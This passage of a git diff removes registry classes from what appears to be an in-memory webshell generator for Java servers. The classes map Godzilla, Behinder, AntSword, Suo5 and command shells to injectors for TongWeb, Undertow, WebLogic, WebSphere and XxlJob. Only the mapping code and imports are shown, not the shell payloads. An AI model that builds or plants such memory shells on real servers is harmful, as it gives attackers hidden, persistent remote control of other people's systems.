return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class));
|
||||
map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class));
|
||||
map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(BehinderValve6.class, TongWebValveInjector.class));
|
||||
map.put(JAKARTA_VALVE, Pair.of(BehinderValve6.class, TongWebValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class));
|
||||
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class));
|
||||
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(Suo5Valve6.class, TongWebValveInjector.class));
|
||||
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve6.class, TongWebValveInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, TongWebFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, TongWebListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(AntSwordValve6.class, TongWebValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
@@ -1,100 +0,0 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
|
||||
import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve7;
|
||||
import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve7;
|
||||
import com.reajason.javaweb.memshell.tongweb.command.CommandValve7;
|
||||
import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve7;
|
||||
import com.reajason.javaweb.memshell.tongweb.injector.*;
|
||||
import com.reajason.javaweb.memshell.tongweb.suo5.Suo5Valve7;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.reajason.javaweb.memshell.config.Constants.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/26
|
||||
*/
|
||||
public class TongWeb7Shell extends AbstractShell {
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class));
|
||||
map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class));
|
||||
map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(CommandValve7.class, TongWebValveInjector.class));
|
||||
map.put(JAKARTA_VALVE, Pair.of(CommandValve7.class, TongWebValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class));
|
||||
map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class));
|
||||
map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(GodzillaValve7.class, TongWebValveInjector.class));
|
||||
map.put(JAKARTA_VALVE, Pair.of(GodzillaValve7.class, TongWebValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class));
|
||||
map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class));
|
||||
map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(BehinderValve7.class, TongWebValveInjector.class));
|
||||
map.put(JAKARTA_VALVE, Pair.of(BehinderValve7.class, TongWebValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class));
|
||||
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class));
|
||||
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(Suo5Valve7.class, TongWebValveInjector.class));
|
||||
map.put(JAKARTA_VALVE, Pair.of(Suo5Valve7.class, TongWebValveInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, TongWebFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, TongWebListenerInjector.class));
|
||||
map.put(VALVE, Pair.of(AntSwordValve7.class, TongWebValveInjector.class));
|
||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
|
||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
@@ -1,100 +0,0 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
||||
import com.reajason.javaweb.memshell.undertow.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.undertow.antsword.AntSwordServletInitialHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.undertow.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.undertow.behinder.BehinderServletInitialHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.undertow.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.undertow.command.CommandServletInitialHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaServletInitialHandlerAdvisor;
|
||||
import com.reajason.javaweb.memshell.undertow.injector.UndertowFilterInjector;
|
||||
import com.reajason.javaweb.memshell.undertow.injector.UndertowListenerInjector;
|
||||
import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInitialHandlerAgentInjector;
|
||||
import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInjector;
|
||||
import com.reajason.javaweb.memshell.undertow.suo5.Suo5Listener;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.reajason.javaweb.memshell.config.Constants.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/10
|
||||
*/
|
||||
public class UndertowShell extends AbstractShell {
|
||||
public static final String AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(CommandServlet.class, UndertowServletInjector.class));
|
||||
map.put(JAKARTA_SERVLET, Pair.of(CommandServlet.class, UndertowServletInjector.class));
|
||||
map.put(FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class));
|
||||
map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class));
|
||||
map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class));
|
||||
map.put(AGENT_SERVLET_HANDLER, Pair.of(CommandServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(GodzillaServlet.class, UndertowServletInjector.class));
|
||||
map.put(JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, UndertowServletInjector.class));
|
||||
map.put(FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class));
|
||||
map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class));
|
||||
map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class));
|
||||
map.put(AGENT_SERVLET_HANDLER, Pair.of(GodzillaServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class));
|
||||
map.put(JAKARTA_SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class));
|
||||
map.put(FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class));
|
||||
map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class));
|
||||
map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class));
|
||||
map.put(AGENT_SERVLET_HANDLER, Pair.of(BehinderServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(Suo5Servlet.class, UndertowServletInjector.class));
|
||||
map.put(JAKARTA_SERVLET, Pair.of(Suo5Servlet.class, UndertowServletInjector.class));
|
||||
map.put(FILTER, Pair.of(Suo5Filter.class, UndertowFilterInjector.class));
|
||||
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, UndertowFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(Suo5Listener.class, UndertowListenerInjector.class));
|
||||
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, UndertowListenerInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(AntSwordServlet.class, UndertowServletInjector.class));
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, UndertowFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, UndertowListenerInjector.class));
|
||||
map.put(AGENT_SERVLET_HANDLER, Pair.of(AntSwordServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
@@ -1,88 +0,0 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
||||
import com.reajason.javaweb.memshell.weblogic.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.weblogic.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.weblogic.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.weblogic.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicFilterInjector;
|
||||
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicListenerInjector;
|
||||
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletContextAgentInjector;
|
||||
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletInjector;
|
||||
import com.reajason.javaweb.memshell.weblogic.suo5.Suo5Listener;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.reajason.javaweb.memshell.config.Constants.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/24
|
||||
*/
|
||||
public class WebLogicShell extends AbstractShell {
|
||||
public static final String AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(BehinderServlet.class, WebLogicServletInjector.class));
|
||||
map.put(FILTER, Pair.of(BehinderFilter.class, WebLogicFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(BehinderListener.class, WebLogicListenerInjector.class));
|
||||
map.put(AGENT_SERVLET_CONTEXT, Pair.of(BehinderFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(CommandServlet.class, WebLogicServletInjector.class));
|
||||
map.put(FILTER, Pair.of(CommandFilter.class, WebLogicFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(CommandListener.class, WebLogicListenerInjector.class));
|
||||
map.put(AGENT_SERVLET_CONTEXT, Pair.of(CommandFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(GodzillaServlet.class, WebLogicServletInjector.class));
|
||||
map.put(FILTER, Pair.of(GodzillaFilter.class, WebLogicFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(GodzillaListener.class, WebLogicListenerInjector.class));
|
||||
map.put(AGENT_SERVLET_CONTEXT, Pair.of(GodzillaFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(Suo5Servlet.class, WebLogicServletInjector.class));
|
||||
map.put(FILTER, Pair.of(Suo5Filter.class, WebLogicFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(Suo5Listener.class, WebLogicListenerInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(AntSwordServlet.class, WebLogicServletInjector.class));
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, WebLogicFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, WebLogicListenerInjector.class));
|
||||
map.put(AGENT_SERVLET_CONTEXT, Pair.of(AntSwordFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
@@ -1,88 +0,0 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
||||
import com.reajason.javaweb.memshell.websphere.antsword.AntSwordListener;
|
||||
import com.reajason.javaweb.memshell.websphere.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.websphere.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.websphere.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterChainAgentInjector;
|
||||
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterInjector;
|
||||
import com.reajason.javaweb.memshell.websphere.injector.WebSphereListenerInjector;
|
||||
import com.reajason.javaweb.memshell.websphere.injector.WebSphereServletInjector;
|
||||
import com.reajason.javaweb.memshell.websphere.suo5.Suo5Listener;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.reajason.javaweb.memshell.config.Constants.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
public class WebSphereShell extends AbstractShell {
|
||||
public static final String AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(CommandServlet.class, WebSphereServletInjector.class));
|
||||
map.put(FILTER, Pair.of(CommandFilter.class, WebSphereFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(CommandListener.class, WebSphereListenerInjector.class));
|
||||
map.put(AGENT_FILTER_MANAGER, Pair.of(CommandFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(GodzillaServlet.class, WebSphereServletInjector.class));
|
||||
map.put(FILTER, Pair.of(GodzillaFilter.class, WebSphereFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(GodzillaListener.class, WebSphereListenerInjector.class));
|
||||
map.put(AGENT_FILTER_MANAGER, Pair.of(GodzillaFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(BehinderServlet.class, WebSphereServletInjector.class));
|
||||
map.put(FILTER, Pair.of(BehinderFilter.class, WebSphereFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(BehinderListener.class, WebSphereListenerInjector.class));
|
||||
map.put(AGENT_FILTER_MANAGER, Pair.of(BehinderFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(Suo5Servlet.class, WebSphereServletInjector.class));
|
||||
map.put(FILTER, Pair.of(Suo5Filter.class, WebSphereFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(Suo5Listener.class, WebSphereListenerInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(SERVLET, Pair.of(AntSwordServlet.class, WebSphereServletInjector.class));
|
||||
map.put(FILTER, Pair.of(AntSwordFilter.class, WebSphereFilterInjector.class));
|
||||
map.put(LISTENER, Pair.of(AntSwordListener.class, WebSphereListenerInjector.class));
|
||||
map.put(AGENT_FILTER_MANAGER, Pair.of(AntSwordFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
@@ -1,31 +0,0 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
|
||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
|
||||
import com.reajason.javaweb.memshell.xxljob.injector.XxlJobNettyHandlerInjector;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/21
|
||||
*/
|
||||
public class XxlJobShell extends AbstractShell {
|
||||
public static final String NETTY_HANDLER = "NettyHandler";
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(NETTY_HANDLER, Pair.of(CommandNettyHandler.class, XxlJobNettyHandlerInjector.class));
|
||||
return map;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
||||
map.put(NETTY_HANDLER, Pair.of(GodzillaNettyHandler.class, XxlJobNettyHandlerInjector.class));
|
||||
return map;
|
||||
}
|
||||
}
|
||||
@@ -1,5 +1,7 @@
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
@@ -35,7 +37,7 @@ public class ShellConfig {
|
||||
* 生成类的目标 JRE 版本
|
||||
*/
|
||||
@Builder.Default
|
||||
private int targetJreVersion = Constants.DEFAULT_VERSION;
|
||||
private int targetJreVersion = Opcodes.V1_6;
|
||||
|
||||
/**
|
||||
* 是否需要移除模块限制
|
||||
|
||||
@@ -1,8 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
|
||||
+8
-8
@@ -4,14 +4,14 @@ import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.AntSwordConfig;
|
||||
